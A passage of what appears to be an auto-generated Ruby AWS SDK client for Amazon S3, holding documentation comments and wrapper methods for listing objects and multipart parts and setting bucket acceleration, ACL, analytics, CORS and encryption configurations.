# on this bucket with a token. ContinuationToken is obfuscated and is
# not a real key.
#
# @option params [Boolean] :fetch_owner
# The owner field is not present in listV2 by default, if you want to
# return owner field with each key in the result then set the fetch
# owner field to true.
#
# @option params [String] :start_after
# StartAfter is where you want Amazon S3 to start listing from. Amazon
# S3 starts listing after this specified key. StartAfter can be any key
# in the bucket.
#
# @option params [String] :request_payer
# Confirms that the requester knows that she or he will be charged for
# the list objects request in V2 style. Bucket owners need not specify
# this parameter in their requests.
#
# @return [Types::ListObjectsV2Output] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListObjectsV2Output#is_truncated #is_truncated} => Boolean
# * {Types::ListObjectsV2Output#contents #contents} => Array<Types::Object>
# * {Types::ListObjectsV2Output#name #name} => String
# * {Types::ListObjectsV2Output#prefix #prefix} => String
# * {Types::ListObjectsV2Output#delimiter #delimiter} => String
# * {Types::ListObjectsV2Output#max_keys #max_keys} => Integer
# * {Types::ListObjectsV2Output#common_prefixes #common_prefixes} => Array<Types::CommonPrefix>
# * {Types::ListObjectsV2Output#encoding_type #encoding_type} => String
# * {Types::ListObjectsV2Output#key_count #key_count} => Integer
# * {Types::ListObjectsV2Output#continuation_token #continuation_token} => String
# * {Types::ListObjectsV2Output#next_continuation_token #next_continuation_token} => String
# * {Types::ListObjectsV2Output#start_after #start_after} => String
#
# The returned {Seahorse::Client::Response response} is a pageable response and is Enumerable. For details on usage see {Aws::PageableResponse PageableResponse}.
#
#
# @example Example: To get object list
#
# # The following example retrieves object list. The request specifies max keys to limit response to include only 2 object
# # keys.
#
# resp = client.list_objects_v2({
# bucket: "examplebucket",
# max_keys: 2,
# })
#
# resp.to_h outputs the following:
# {
# contents: [
# {
# etag: "\"70ee1738b6b21e2c8a43f3a5ab0eee71\"",
# key: "happyface.jpg",
# last_modified: Time.parse("2014-11-21T19:40:05.000Z"),
# size: 11,
# storage_class: "STANDARD",
# },
# {
# etag: "\"becf17f89c30367a9a44495d62ed521a-1\"",
# key: "test.jpg",
# last_modified: Time.parse("2014-05-02T04:51:50.000Z"),
# size: 4192256,
# storage_class: "STANDARD",
# },
# ],
# is_truncated: true,
# key_count: 2,
# max_keys: 2,
# name: "examplebucket",
# next_continuation_token: "1w41l63U0xa8q7smH50vCxyTQqdxo69O3EmK28Bi5PcROI4wI/EyIJg==",
# prefix: "",
# }
#
# @example Request syntax with placeholder values
#
# resp = client.list_objects_v2({
# bucket: "BucketName", # required
# delimiter: "Delimiter",
# encoding_type: "url", # accepts url
# max_keys: 1,
# prefix: "Prefix",
# continuation_token: "Token",
# fetch_owner: false,
# start_after: "StartAfter",
# request_payer: "requester", # accepts requester
# })
#
# @example Response structure
#
# resp.is_truncated #=> Boolean
# resp.contents #=> Array
# resp.contents[0].key #=> String
# resp.contents[0].last_modified #=> Time
# resp.contents[0].etag #=> String
# resp.contents[0].size #=> Integer
# resp.contents[0].storage_class #=> String, one of "STANDARD", "REDUCED_REDUNDANCY", "GLACIER", "STANDARD_IA", "ONEZONE_IA", "INTELLIGENT_TIERING", "DEEP_ARCHIVE"
# resp.contents[0].owner.display_name #=> String
# resp.contents[0].owner.id #=> String
# resp.name #=> String
# resp.prefix #=> String
# resp.delimiter #=> String
# resp.max_keys #=> Integer
# resp.common_prefixes #=> Array
# resp.common_prefixes[0].prefix #=> String
# resp.encoding_type #=> String, one of "url"
# resp.key_count #=> Integer
# resp.continuation_token #=> String
# resp.next_continuation_token #=> String
# resp.start_after #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListObjectsV2 AWS API Documentation
#
# @overload list_objects_v2(params = {})
# @param [Hash] params ({})
def list_objects_v2(params = {}, options = {})
req = build_request(:list_objects_v2, params)
req.send_request(options)
end
# Lists the parts that have been uploaded for a specific multipart
# upload. This operation must include the upload ID, which you obtain by
# sending the initiate multipart upload request (see
# CreateMultipartUpload). This request returns a maximum of 1,000
# uploaded parts. The default number of parts returned is 1,000 parts.
# You can restrict the number of parts returned by specifying the
# `max-parts` request parameter. If your multipart upload consists of
# more than 1,000 parts, the response returns an `IsTruncated` field
# with the value of true, and a `NextPartNumberMarker` element. In
# subsequent `ListParts` requests you can include the part-number-marker
# query string parameter and set its value to the `NextPartNumberMarker`
# field value from the previous response.
#
# For more information on multipart uploads, see [Uploading Objects
# Using Multipart Upload][1].
#
# For information on permissions required to use the multipart upload
# API, see [Multipart Upload API and Permissions][2].
#
# The following operations are related to `ListParts`\:
#
# * CreateMultipartUpload
#
# * UploadPart
#
# * CompleteMultipartUpload
#
# * AbortMultipartUpload
#
# * ListMultipartUploads
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/uploadobjusingmpu.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/mpuAndPermissions.html
#
# @option params [required, String] :bucket
# Name of the bucket to which the parts are being uploaded.
#
# When using this API with an access point, you must direct requests to
# the access point hostname. The access point hostname takes the form
# *AccessPointName*-*AccountId*.s3-accesspoint.*Region*.amazonaws.com.
# When using this operation using an access point through the AWS SDKs,
# you provide the access point ARN in place of the bucket name. For more
# information about access point ARNs, see [Using Access Points][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-access-points.html
#
# @option params [required, String] :key
# Object key for which the multipart upload was initiated.
#
# @option params [Integer] :max_parts
# Sets the maximum number of parts to return.
#
# @option params [Integer] :part_number_marker
# Specifies the part after which listing should begin. Only parts with
# higher part numbers will be listed.
#
# @option params [required, String] :upload_id
# Upload ID identifying the multipart upload whose parts are being
# listed.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @return [Types::ListPartsOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListPartsOutput#abort_date #abort_date} => Time
# * {Types::ListPartsOutput#abort_rule_id #abort_rule_id} => String
# * {Types::ListPartsOutput#bucket #bucket} => String
# * {Types::ListPartsOutput#key #key} => String
# * {Types::ListPartsOutput#upload_id #upload_id} => String
# * {Types::ListPartsOutput#part_number_marker #part_number_marker} => Integer
# * {Types::ListPartsOutput#next_part_number_marker #next_part_number_marker} => Integer
# * {Types::ListPartsOutput#max_parts #max_parts} => Integer
# * {Types::ListPartsOutput#is_truncated #is_truncated} => Boolean
# * {Types::ListPartsOutput#parts #parts} => Array<Types::Part>
# * {Types::ListPartsOutput#initiator #initiator} => Types::Initiator
# * {Types::ListPartsOutput#owner #owner} => Types::Owner
# * {Types::ListPartsOutput#storage_class #storage_class} => String
# * {Types::ListPartsOutput#request_charged #request_charged} => String
#
# The returned {Seahorse::Client::Response response} is a pageable response and is Enumerable. For details on usage see {Aws::PageableResponse PageableResponse}.
#
#
# @example Example: To list parts of a multipart upload.
#
# # The following example lists parts uploaded for a specific multipart upload.
#
# resp = client.list_parts({
# bucket: "examplebucket",
# key: "bigobject",
# upload_id: "example7YPBOJuoFiQ9cz4P3Pe6FIZwO4f7wN93uHsNBEw97pl5eNwzExg0LAT2dUN91cOmrEQHDsP3WA60CEg--",
# })
#
# resp.to_h outputs the following:
# {
# initiator: {
# display_name: "owner-display-name",
# id: "examplee7a2f25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc",
# },
# owner: {
# display_name: "owner-display-name",
# id: "examplee7a2f25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc",
# },
# parts: [
# {
# etag: "\"d8c2eafd90c266e19ab9dcacc479f8af\"",
# last_modified: Time.parse("2016-12-16T00:11:42.000Z"),
# part_number: 1,
# size: 26246026,
# },
# {
# etag: "\"d8c2eafd90c266e19ab9dcacc479f8af\"",
# last_modified: Time.parse("2016-12-16T00:15:01.000Z"),
# part_number: 2,
# size: 26246026,
# },
# ],
# storage_class: "STANDARD",
# }
#
# @example Request syntax with placeholder values
#
# resp = client.list_parts({
# bucket: "BucketName", # required
# key: "ObjectKey", # required
# max_parts: 1,
# part_number_marker: 1,
# upload_id: "MultipartUploadId", # required
# request_payer: "requester", # accepts requester
# })
#
# @example Response structure
#
# resp.abort_date #=> Time
# resp.abort_rule_id #=> String
# resp.bucket #=> String
# resp.key #=> String
# resp.upload_id #=> String
# resp.part_number_marker #=> Integer
# resp.next_part_number_marker #=> Integer
# resp.max_parts #=> Integer
# resp.is_truncated #=> Boolean
# resp.parts #=> Array
# resp.parts[0].part_number #=> Integer
# resp.parts[0].last_modified #=> Time
# resp.parts[0].etag #=> String
# resp.parts[0].size #=> Integer
# resp.initiator.id #=> String
# resp.initiator.display_name #=> String
# resp.owner.display_name #=> String
# resp.owner.id #=> String
# resp.storage_class #=> String, one of "STANDARD", "REDUCED_REDUNDANCY", "STANDARD_IA", "ONEZONE_IA", "INTELLIGENT_TIERING", "GLACIER", "DEEP_ARCHIVE"
# resp.request_charged #=> String, one of "requester"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListParts AWS API Documentation
#
# @overload list_parts(params = {})
# @param [Hash] params ({})
def list_parts(params = {}, options = {})
req = build_request(:list_parts, params)
req.send_request(options)
end
# Sets the accelerate configuration of an existing bucket. Amazon S3
# Transfer Acceleration is a bucket-level feature that enables you to
# perform faster data transfers to Amazon S3.
#
# To use this operation, you must have permission to perform the
# s3:PutAccelerateConfiguration action. The bucket owner has this
# permission by default. The bucket owner can grant this permission to
# others. For more information about permissions, see [Permissions
# Related to Bucket Subresource Operations][1] and [Managing Access
# Permissions to Your Amazon S3 Resources][2].
#
# The Transfer Acceleration state of a bucket can be set to one of the
# following two values:
#
# * Enabled – Enables accelerated data transfers to the bucket.
#
# * Suspended – Disables accelerated data transfers to the bucket.
#
# The GetBucketAccelerateConfiguration operation returns the transfer
# acceleration state of a bucket.
#
# After setting the Transfer Acceleration state of a bucket to Enabled,
# it might take up to thirty minutes before the data transfer rates to
# the bucket increase.
#
# The name of the bucket used for Transfer Acceleration must be
# DNS-compliant and must not contain periods (".").
#
# For more information about transfer acceleration, see [Transfer
# Acceleration][3].
#
# The following operations are related to
# `PutBucketAccelerateConfiguration`\:
#
# * GetBucketAccelerateConfiguration
#
# * CreateBucket
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/transfer-acceleration.html
#
# @option params [required, String] :bucket
# Name of the bucket for which the accelerate configuration is set.
#
# @option params [required, Types::AccelerateConfiguration] :accelerate_configuration
# Container for setting the transfer acceleration state.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.put_bucket_accelerate_configuration({
# bucket: "BucketName", # required
# accelerate_configuration: { # required
# status: "Enabled", # accepts Enabled, Suspended
# },
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketAccelerateConfiguration AWS API Documentation
#
# @overload put_bucket_accelerate_configuration(params = {})
# @param [Hash] params ({})
def put_bucket_accelerate_configuration(params = {}, options = {})
req = build_request(:put_bucket_accelerate_configuration, params)
req.send_request(options)
end
# Sets the permissions on an existing bucket using access control lists
# (ACL). For more information, see [Using ACLs][1]. To set the ACL of a
# bucket, you must have `WRITE_ACP` permission.
#
# You can use one of the following two ways to set a bucket's
# permissions:
#
# * Specify the ACL in the request body
#
# * Specify permissions using request headers
#
# <note markdown="1"> You cannot specify access permission using both the body and the
# request headers.
#
# </note>
#
# Depending on your application needs, you may choose to set the ACL on
# a bucket using either the request body or the headers. For example, if
# you have an existing application that updates a bucket ACL using the
# request body, then you can continue to use that approach.
#
# **Access Permissions**
#
# You can set access permissions using one of the following methods:
#
# * Specify a canned ACL with the `x-amz-acl` request header. Amazon S3
# supports a set of predefined ACLs, known as *canned ACLs*. Each
# canned ACL has a predefined set of grantees and permissions. Specify
# the canned ACL name as the value of `x-amz-acl`. If you use this
# header, you cannot use other access control-specific headers in your
# request. For more information, see [Canned ACL][2].
#
# * Specify access permissions explicitly with the `x-amz-grant-read`,
# `x-amz-grant-read-acp`, `x-amz-grant-write-acp`, and
# `x-amz-grant-full-control` headers. When using these headers, you
# specify explicit access permissions and grantees (AWS accounts or
# Amazon S3 groups) who will receive the permission. If you use these
# ACL-specific headers, you cannot use the `x-amz-acl` header to set a
# canned ACL. These parameters map to the set of permissions that
# Amazon S3 supports in an ACL. For more information, see [Access
# Control List (ACL) Overview][3].
#
# You specify each grantee as a type=value pair, where the type is one
# of the following:
#
# * `id` – if the value specified is the canonical user ID of an AWS
# account
#
# * `uri` – if you are granting permissions to a predefined group
#
# * `emailAddress` – if the value specified is the email address of an
# AWS account
#
# <note markdown="1"> Using email addresses to specify a grantee is only supported in
# the following AWS Regions:
#
# * US East (N. Virginia)
#
# * US West (N. California)
#
# * US West (Oregon)
#
# * Asia Pacific (Singapore)
#
# * Asia Pacific (Sydney)
#
# * Asia Pacific (Tokyo)
#
# * Europe (Ireland)
#
# * South America (São Paulo)
#
# For a list of all the Amazon S3 supported Regions and endpoints,
# see [Regions and Endpoints][4] in the AWS General Reference.
#
# </note>
#
# For example, the following `x-amz-grant-write` header grants create,
# overwrite, and delete objects permission to LogDelivery group
# predefined by Amazon S3 and two AWS accounts identified by their
# email addresses.
#
# `x-amz-grant-write:
# uri="http://acs.amazonaws.com/groups/s3/LogDelivery",
# id="111122223333", id="555566667777" `
#
# You can use either a canned ACL or specify access permissions
# explicitly. You cannot do both.
#
# **Grantee Values**
#
# You can specify the person (grantee) to whom you're assigning access
# rights (using request elements) in the following ways:
#
# * By the person's ID:
#
# `<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
# xsi:type="CanonicalUser"><ID><>ID<></ID><DisplayName><>GranteesEmail<></DisplayName>
# </Grantee>`
#
# DisplayName is optional and ignored in the request
#
# * By URI:
#
# `<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
# xsi:type="Group"><URI><>http://acs.amazonaws.com/groups/global/AuthenticatedUsers<></URI></Grantee>`
#
# * By Email address:
#
# `<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
# xsi:type="AmazonCustomerByEmail"><EmailAddress><>[email protected]<></EmailAddress>lt;/Grantee>`
#
# The grantee is resolved to the CanonicalUser and, in a response to a
# GET Object acl request, appears as the CanonicalUser.
#
# <note markdown="1"> Using email addresses to specify a grantee is only supported in the
# following AWS Regions:
#
# * US East (N. Virginia)
#
# * US West (N. California)
#
# * US West (Oregon)
#
# * Asia Pacific (Singapore)
#
# * Asia Pacific (Sydney)
#
# * Asia Pacific (Tokyo)
#
# * Europe (Ireland)
#
# * South America (São Paulo)
#
# For a list of all the Amazon S3 supported Regions and endpoints, see
# [Regions and Endpoints][4] in the AWS General Reference.
#
# </note>
#
# **Related Resources**
#
# * CreateBucket
#
# * DeleteBucket
#
# * GetObjectAcl
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/S3_ACLs_UsingACLs.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#CannedACL
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html
# [4]: https://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region
#
# @option params [String] :acl
# The canned ACL to apply to the bucket.
#
# @option params [Types::AccessControlPolicy] :access_control_policy
# Contains the elements that set the ACL permissions for an object per
# grantee.
#
# @option params [required, String] :bucket
# The bucket to which to apply the ACL.
#
# @option params [String] :content_md5
# The base64-encoded 128-bit MD5 digest of the data. This header must be
# used as a message integrity check to verify that the request body was
# not corrupted in transit. For more information, go to [RFC 1864.][1]
#
#
#
# [1]: http://www.ietf.org/rfc/rfc1864.txt
#
# @option params [String] :grant_full_control
# Allows grantee the read, write, read ACP, and write ACP permissions on
# the bucket.
#
# @option params [String] :grant_read
# Allows grantee to list the objects in the bucket.
#
# @option params [String] :grant_read_acp
# Allows grantee to read the bucket ACL.
#
# @option params [String] :grant_write
# Allows grantee to create, overwrite, and delete any object in the
# bucket.
#
# @option params [String] :grant_write_acp
# Allows grantee to write the ACL for the applicable bucket.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
#
# @example Example: Put bucket acl
#
# # The following example replaces existing ACL on a bucket. The ACL grants the bucket owner (specified using the owner ID)
# # and write permission to the LogDelivery group. Because this is a replace operation, you must specify all the grants in
# # your request. To incrementally add or remove ACL grants, you might use the console.
#
# resp = client.put_bucket_acl({
# bucket: "examplebucket",
# grant_full_control: "id=examplee7a2f25102679df27bb0ae12b3f85be6f290b936c4393484",
# grant_write: "uri=http://acs.amazonaws.com/groups/s3/LogDelivery",
# })
#
# @example Request syntax with placeholder values
#
# resp = client.put_bucket_acl({
# acl: "private", # accepts private, public-read, public-read-write, authenticated-read
# access_control_policy: {
# grants: [
# {
# grantee: {
# display_name: "DisplayName",
# email_address: "EmailAddress",
# id: "ID",
# type: "CanonicalUser", # required, accepts CanonicalUser, AmazonCustomerByEmail, Group
# uri: "URI",
# },
# permission: "FULL_CONTROL", # accepts FULL_CONTROL, WRITE, WRITE_ACP, READ, READ_ACP
# },
# ],
# owner: {
# display_name: "DisplayName",
# id: "ID",
# },
# },
# bucket: "BucketName", # required
# content_md5: "ContentMD5",
# grant_full_control: "GrantFullControl",
# grant_read: "GrantRead",
# grant_read_acp: "GrantReadACP",
# grant_write: "GrantWrite",
# grant_write_acp: "GrantWriteACP",
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketAcl AWS API Documentation
#
# @overload put_bucket_acl(params = {})
# @param [Hash] params ({})
def put_bucket_acl(params = {}, options = {})
req = build_request(:put_bucket_acl, params)
req.send_request(options)
end
# Sets an analytics configuration for the bucket (specified by the
# analytics configuration ID). You can have up to 1,000 analytics
# configurations per bucket.
#
# You can choose to have storage class analysis export analysis reports
# sent to a comma-separated values (CSV) flat file. See the `DataExport`
# request element. Reports are updated daily and are based on the object
# filters that you configure. When selecting data export, you specify a
# destination bucket and an optional destination prefix where the file
# is written. You can export the data to a destination bucket in a
# different account. However, the destination bucket must be in the same
# Region as the bucket that you are making the PUT analytics
# configuration to. For more information, see [Amazon S3 Analytics –
# Storage Class Analysis][1].
#
# You must create a bucket policy on the destination bucket where the
# exported file is written to grant permissions to Amazon S3 to write
# objects to the bucket. For an example policy, see [Granting
# Permissions for Amazon S3 Inventory and Storage Class Analysis][2].
#
# To use this operation, you must have permissions to perform the
# `s3:PutAnalyticsConfiguration` action. The bucket owner has this
# permission by default. The bucket owner can grant this permission to
# others. For more information about permissions, see [Permissions
# Related to Bucket Subresource Operations][3] and [Managing Access
# Permissions to Your Amazon S3 Resources][4].
#
# **Special Errors**
#
# * * *HTTP Error: HTTP 400 Bad Request*
#
# * *Code: InvalidArgument*
#
# * *Cause: Invalid argument.*
#
# * * *HTTP Error: HTTP 400 Bad Request*
#
# * *Code: TooManyConfigurations*
#
# * *Cause: You are attempting to create a new configuration but have
# already reached the 1,000-configuration limit.*
#
# * * *HTTP Error: HTTP 403 Forbidden*
#
# * *Code: AccessDenied*
#
# * *Cause: You are not the owner of the specified bucket, or you do
# not have the s3:PutAnalyticsConfiguration bucket permission to set
# the configuration on the bucket.*
#
# **Related Resources**
#
# *
# *
# *
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/analytics-storage-class.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/example-bucket-policies.html#example-bucket-policies-use-case-9
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [4]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
#
# @option params [required, String] :bucket
# The name of the bucket to which an analytics configuration is stored.
#
# @option params [required, String] :id
# The ID that identifies the analytics configuration.
#
# @option params [required, Types::AnalyticsConfiguration] :analytics_configuration
# The configuration and any analyses for the analytics filter.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.put_bucket_analytics_configuration({
# bucket: "BucketName", # required
# id: "AnalyticsId", # required
# analytics_configuration: { # required
# id: "AnalyticsId", # required
# filter: {
# prefix: "Prefix",
# tag: {
# key: "ObjectKey", # required
# value: "Value", # required
# },
# and: {
# prefix: "Prefix",
# tags: [
# {
# key: "ObjectKey", # required
# value: "Value", # required
# },
# ],
# },
# },
# storage_class_analysis: { # required
# data_export: {
# output_schema_version: "V_1", # required, accepts V_1
# destination: { # required
# s3_bucket_destination: { # required
# format: "CSV", # required, accepts CSV
# bucket_account_id: "AccountId",
# bucket: "BucketName", # required
# prefix: "Prefix",
# },
# },
# },
# },
# },
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketAnalyticsConfiguration AWS API Documentation
#
# @overload put_bucket_analytics_configuration(params = {})
# @param [Hash] params ({})
def put_bucket_analytics_configuration(params = {}, options = {})
req = build_request(:put_bucket_analytics_configuration, params)
req.send_request(options)
end
# Sets the `cors` configuration for your bucket. If the configuration
# exists, Amazon S3 replaces it.
#
# To use this operation, you must be allowed to perform the
# `s3:PutBucketCORS` action. By default, the bucket owner has this
# permission and can grant it to others.
#
# You set this configuration on a bucket so that the bucket can service
# cross-origin requests. For example, you might want to enable a request
# whose origin is `http://www.example.com` to access your Amazon S3
# bucket at `my.example.bucket.com` by using the browser's
# `XMLHttpRequest` capability.
#
# To enable cross-origin resource sharing (CORS) on a bucket, you add
# the `cors` subresource to the bucket. The `cors` subresource is an XML
# document in which you configure rules that identify origins and the
# HTTP methods that can be executed on your bucket. The document is
# limited to 64 KB in size.
#
# When Amazon S3 receives a cross-origin request (or a pre-flight
# OPTIONS request) against a bucket, it evaluates the `cors`
# configuration on the bucket and uses the first `CORSRule` rule that
# matches the incoming browser request to enable a cross-origin request.
# For a rule to match, the following conditions must be met:
#
# * The request's `Origin` header must match `AllowedOrigin` elements.
#
# * The request method (for example, GET, PUT, HEAD, and so on) or the
# `Access-Control-Request-Method` header in case of a pre-flight
# `OPTIONS` request must be one of the `AllowedMethod` elements.
#
# * Every header specified in the `Access-Control-Request-Headers`
# request header of a pre-flight request must match an `AllowedHeader`
# element.
#
# For more information about CORS, go to [Enabling Cross-Origin Resource
# Sharing][1] in the *Amazon Simple Storage Service Developer Guide*.
#
# **Related Resources**
#
# * GetBucketCors
#
# * DeleteBucketCors
#
# * RESTOPTIONSobject
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/cors.html
#
# @option params [required, String] :bucket
# Specifies the bucket impacted by the `cors`configuration.
#
# @option params [required, Types::CORSConfiguration] :cors_configuration
# Describes the cross-origin access configuration for objects in an
# Amazon S3 bucket. For more information, see [Enabling Cross-Origin
# Resource Sharing][1] in the *Amazon Simple Storage Service Developer
# Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/cors.html
#
# @option params [String] :content_md5
# The base64-encoded 128-bit MD5 digest of the data. This header must be
# used as a message integrity check to verify that the request body was
# not corrupted in transit. For more information, go to [RFC 1864.][1]
#
#
#
# [1]: http://www.ietf.org/rfc/rfc1864.txt
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
#
# @example Example: To set cors configuration on a bucket.
#
# # The following example enables PUT, POST, and DELETE requests from www.example.com, and enables GET requests from any
# # domain.
#
# resp = client.put_bucket_cors({
# bucket: "",
# cors_configuration: {
# cors_rules: [
# {
# allowed_headers: [
# "*",
# ],
# allowed_methods: [
# "PUT",
# "POST",
# "DELETE",
# ],
# allowed_origins: [
# "http://www.example.com",
# ],
# expose_headers: [
# "x-amz-server-side-encryption",
# ],
# max_age_seconds: 3000,
# },
# {
# allowed_headers: [
# "Authorization",
# ],
# allowed_methods: [
# "GET",
# ],
# allowed_origins: [
# "*",
# ],
# max_age_seconds: 3000,
# },
# ],
# },
# content_md5: "",
# })
#
# @example Request syntax with placeholder values
#
# resp = client.put_bucket_cors({
# bucket: "BucketName", # required
# cors_configuration: { # required
# cors_rules: [ # required
# {
# allowed_headers: ["AllowedHeader"],
# allowed_methods: ["AllowedMethod"], # required
# allowed_origins: ["AllowedOrigin"], # required
# expose_headers: ["ExposeHeader"],
# max_age_seconds: 1,
# },
# ],
# },
# content_md5: "ContentMD5",
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketCors AWS API Documentation
#
# @overload put_bucket_cors(params = {})
# @param [Hash] params ({})
def put_bucket_cors(params = {}, options = {})
req = build_request(:put_bucket_cors, params)
req.send_request(options)
end
# This implementation of the `PUT` operation uses the `encryption`
# subresource to set the default encryption state of an existing bucket.
#
# This implementation of the `PUT` operation sets default encryption for
# a bucket using server-side encryption with Amazon S3-managed keys
# SSE-S3 or AWS KMS customer master keys (CMKs) (SSE-KMS). For
# information about the Amazon S3 default encryption feature, see
# [Amazon S3 Default Bucket Encryption][1].
#
# This operation requires AWS Signature Version 4. For more information,
# see [ Authenticating Requests (AWS Signature Version
# 4)](sig-v4-authenticating-requests.html).
#
# To use this operation, you must have permissions to perform the
# `s3:PutEncryptionConfiguration` action. The bucket owner has this
# permission by default. The bucket owner can grant this permission to
# others. For more information about permissions, see [Permissions
# Related to Bucket Subresource Operations][2] and [Managing Access
# Permissions to Your Amazon S3 Resources][3] in the Amazon Simple
# Storage Service Developer Guide.
#
# **Related Resources**
#
# * GetBucketEncryption
#
# * DeleteBucketEncryption
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/bucket-encryption.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
#
# @option params [required, String] :bucket
# Specifies default encryption for a bucket using server-side encryption
# with Amazon S3-managed keys (SSE-S3) or customer master keys stored in
# AWS KMS (SSE-KMS). For information about the Amazon S3 default
# encryption feature, see [Amazon S3 Default Bucket Encryption][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/bucket-encryption.html
#
# @option params [String] :content_md5
# The base64-encoded 128-bit MD5 digest of the server-side encryption
# configuration. This parameter is auto-populated when using the command
# from the CLI.
#
# @option params [required, Types::ServerSideEncryptionConfiguration] :server_side_encryption_configuration
# Specifies the default server-side-encryption configuration.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.put_bucket_encryption({
# bucket: "BucketName", # required
# content_md5: "ContentMD5",
# server_side_encryption_configuration: { # required
# rules: [ # required
# {
# apply_server_side_encryption_by_default: {
# sse_algorithm: "AES256", # required, accepts AES256, aws:kms
# kms_master_key_id: "SSEKMSKeyId",
# },
# },
# ],
# },
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketEncryption AWS API Documentation
#
# @overload put_bucket_encryption(params = {})
# @param [Hash] params ({})
def put_bucket_encryption(params = {}, options = {})
req = build_request(:put_bucket_encryption, params)
req.send_request(options)
end
# This implementation of the `PUT` operation adds an inventory
# configuration (identified by the inventory ID) to the bucket. You can
# have up to 1,000 inventory configurations per bucket.
#
# Amazon S3 inventory generates inventories of the objects in the bucket
# on a daily or weekly basis, and the results are published to a flat
# file. The bucket that is inventoried is called the *source* bucket,
# and the bucket where the inventory flat file is stored is called the
# *destination* bucket. The *destination* bucket must be in the same AWS
# Region as the *source* bucket.
#
# When you configure an inventory for a *source* bucket, you specify the
# *destination* bucket where you want the inventory to be stored, and
# whether to generate the inventory daily or weekly. You can also
# configure what object metadata to include and whether to inventory all
# object versions or only current versions. For more information, see
# [Amazon S3 Inventory][1] in the Amazon Simple Storage Service
# Developer Guide.
#
# You must create a bucket policy on the *destination* bucket to grant
# permissions to Amazon S3 to write objects to the bucket in the defined
# location. For an example policy, see [ Granting Permissions for Amazon
# S3 Inventory and Storage Class Analysis][2].
#
# To use this operation, you must have permissions to perform the
# `s3:PutInventoryConfiguration` action. The bucket owner has this
# permission by default and can grant this permission to others. For
# more information about permissions, see [Permissions Related to Bucket
# Subresource Operations][3] and [Managing Access Permissions to Your
# Amazon S3 Resources][4] in the Amazon Simple Storage Service Developer
# Guide.
#
# **Special Errors**
#
# * **HTTP 400 Bad Request Error**
#
# * *Code:* InvalidArgument
#
# * *Cause:* Invalid Argument
#
# * **HTTP 400 Bad Request Error**
#
# * *Code:* TooManyConfigurations
#
# * *Cause:* You are attempting to create a new configuration but have
# already reached the 1,000-configuration limit.
#
# * **HTTP 403 Forbidden Error**
#
# * *Code:* AccessDenied
#
# * *Cause:* You are not the owner of the specified bucket, or you do
# not have the `s3:PutInventoryConfiguration` bucket permission to
# set the configuration on the bucket.
#
# **Related Resources**
#
# * GetBucketInventoryConfiguration
#
# * DeleteBucketInventoryConfiguration
#
# * ListBucketInventoryConfigurations
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/storage-inventory.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/example-bucket-policies.html#example-bucket-policies-use-case-9
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [4]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
#
